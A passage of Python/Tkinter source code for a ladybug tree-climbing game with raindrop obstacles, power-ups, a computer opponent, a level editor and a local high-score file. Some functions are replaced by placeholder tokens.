hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\ndef mousePressed(event, data):\n if data.mode == 'splashScreen':\n splashScreenMousePressed(event, data)\n elif data.mode == '1Player':\n playerMousePressed(event, data)\n elif data.mode == '2Player':\n twoPlayerMousePressed(event, data)\n elif data.mode == 'editor':\n editorMousePressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedMousePressed(event, data)\n elif data.mode == 'AI':\n AIMousePressed(event, data)\n elif data.mode == 'difficulty':\n difficultyMousePressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardMousePressed(event, data)\n elif data.mode == 'help':\n helpMousePressed(event, data)\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\ndef checkHome(event, data):\n if data.homeY - data.r <= event.y <= data.homeY + data.r:\n if data.homeX - data.r <= event.x <= data.homeX + data.r:\n init(data)\n\n\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef editorKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= 